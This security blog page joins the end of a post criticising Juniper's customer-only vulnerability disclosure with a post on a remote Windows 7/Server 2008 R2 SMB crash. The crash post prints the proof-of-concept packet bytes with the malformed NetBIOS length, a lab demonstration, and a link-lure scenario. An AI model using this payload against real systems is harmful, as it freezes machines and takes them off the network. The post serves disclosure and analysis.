Juniper responded to the Register as follows: “that the bulletin was one of seven security advisories the company issued under a policy designed to prevent members of the public at large from getting details of the vulnerabilities.”

“Because of Juniper’s ‘Entitled Disclosure Policy,’ only our customers and partners are allowed access to the details of the Security Advisory,”
– Juniper spokeswoman

Interesting approach, and probably would be better received if vulnerabilities only affected those entitled. Unfortunately the networks that run high end Juniper equipment serve a great many end users, and thus in this case the general public would probably like some informed background. At the point the media is contacting you, it is safe to say the “cat is out of the bag”. And this is the response from a company that is a strong player in the information security appliance space?

The flip side is that the Juniper response to this issue from a technical perspective has appeared to be at first glance fairly comprehensive, a PR opportunity if managed correctly.

And yes, this is the same firm that feels this way when it is they who are discussing the vulnerability of someone else’s product: “Juniper believes that Jack’s research (on ATM vulnerabilities) is important to be presented in a public forum in order to advance the state of security,”.

We agree with the second Juniper: more education, especially after the problem has been corrected, is better.

Finally

More information will be posted as it becomes available. This was a serious issue which appears to have been averted through a coordinated response. Essentially, given the core equipment (big Telco routers) running “Big Iron” type Juniper network devices, portions of the Internet could have gone black with a successful implementation of this exploit. Routers at this level are not patched like your local Windows OS, it takes something important to justify an outage. As previously noted, even though the code problem itself was identified last year, it appears that the problem was not identified as a mechanism for creating a remote exploit until now, raising the criticality of patching the issue severely.

Related Posts:

• IEPeers – A New Internet Explorer Zero Day Vulnerability
• Press F1 for Help, pwned.
• The “Aurora” IE Exploit Used Against Google in Action
• Scareware Purveyors, Spammers, and Crooks Take Advantage of Haiti Earthquake
• Windows 7 SMB Kernel Crash Video

Python code was posted today by Laurent Gaffie on his blog, demonstrating a much too easy way to remotely crash a Windows 7 or Windows Server 2008 machine. The crash is caused by sending a NetBIOS header which specifies that the SMB packet is 4 bytes smaller or larger than it actually is.

In this code sample below, you can see that the header has the length of the packet set to 9a rather than 9e (4 bytes smaller). Update: We have tested with different variations, such as 1 byte and 2 bytes off, which also caused the crash.

packet = "\x00\x00\x00\x9a" # --> length should be 9e not 9a.. 
"\xfe\x53\x4d\x42\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x41\x00\x01\x00\x02\x02\x00\x00\x30\x82\xa4\x11\xe3\x12\x23\x41"
"\xaa\x4b\xad\x99\xfd\x52\x31\x8d\x01\x00\x00\x00\x00\x00\x01\x00"
"\x00\x00\x01\x00\x00\x00\x01\x00\xcf\x73\x67\x74\x62\x60\xca\x01"
"\xcb\x51\xe0\x19\x62\x60\xca\x01\x80\x00\x1e\x00\x20\x4c\x4d\x20"
"\x60\x1c\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x12\x30\x10\xa0\x0e"
"\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"

We also tested this by setting 9e to aa (4 bytes larger) to see if it had the same affect and it indeed it did.

A little about the “crash”. The Operating System actually freezes. There is no error message, no blue screen of death, no indication that anything has gone wrong. Even after power cycling, the event logs show no sign of a mishap, aside from the typical events generated from booting up again.

Demonstration

Our victim targets are:

1. A Windows 7 Professional workstation with latest patches.
2. A Windows Server 2008 R2 Standard Core Edition with latest patches.

On Open BSD, Mac OSX, and Linux 2.6 workstations, we ran the python code and had it listen on port 445.  I would have had a Windows server run the listening server, but SMB on Windows already listens on port 445 and for the purpose of the demonstration it was easier to run it on machines that do not listen on this port by default.  From the Windows 7 and Windows Server 2008 victim machines, we simply attempt any type of SMB connection to the bad hosts listening with the Python code. This can be done by simply doing a directory command (dir) to a non-existent share (dir \\ip-address\share).

The screenshot below shows the command window with the dir command used to attempt a connection to a host (172.17.20.139) which is running the Python code, ready to send that SMB packet over. As soon as the connection is attempted, the whole machine freezes. I had resource monitor and task manager running and every counter, even the ticking of uptime, stopped dead. In some cases, I left the machine in this state for a significant amount of time.  Also, the host was no longer pingable, so once the crash occurred, it was off the network and no longer attempting any more SMB traffic.

What is the big deal?

To simulate how an attacker could use this, we hosted a small internal web page, with a simple link to direct the user to our malicious host. Now, as seen in the image below, our link was very obvious for demonstration purposes, users can be redirected in various obfuscated ways.  Although remote elevated privileges or sensitive data theft is not part of this proof of concept, this can still be a very troublesome issue.

References

• g-laurent.blogspot.com: Windows 7 / Server 2008R2 Remote Kernel Crash
• informationweek.com: Microsoft Investigating Zero-Day Windows 7 Flaw
• darkreading.com: Microsoft Looks Into Bug That Can Crash Windows 7
• thetechherald.com: Microsoft Kernel Smash vulnerability being investigated

Update

Microsoft says this is being investigated as a possible denial of service vulnerability, but initially responded that correcting it will be handled in the first service pack updates for Windows 7 and Server 2008 R2 rather then as a "Patch Tuesday" security update.

Microsoft has posted a security advisory (977544) regarding the issue.

Related Posts:

• IEPeers – A New Internet Explorer Zero Day Vulnerability
• March’s Patch Tuesday
• Press F1 for Help, pwned.
• The “Aurora” IE Exploit Used Against Google in Action
• Windows 7 SMB Kernel Crash Video